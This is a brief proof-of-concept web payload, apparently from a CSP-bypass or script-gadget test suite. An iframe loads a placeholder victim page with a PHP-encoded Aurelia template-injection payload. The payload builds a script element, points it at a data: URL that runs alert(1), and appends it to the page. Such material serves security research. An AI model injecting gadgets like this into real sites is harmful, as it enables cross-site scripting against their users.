<iframe src="https://victim.example.com/repo/csp/sd/aurelia.php?csp=sd&inj=<?php 
$payload = <<<'PAYLOAD'
<div ref=me 
s.bind="$this.me.ownerDocument.createElement('script')" 
data-bar="${$this.me.s.src='data:,alert(1)'}" 
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>
PAYLOAD;
echo urlencode($payload);
?>"></iframe>

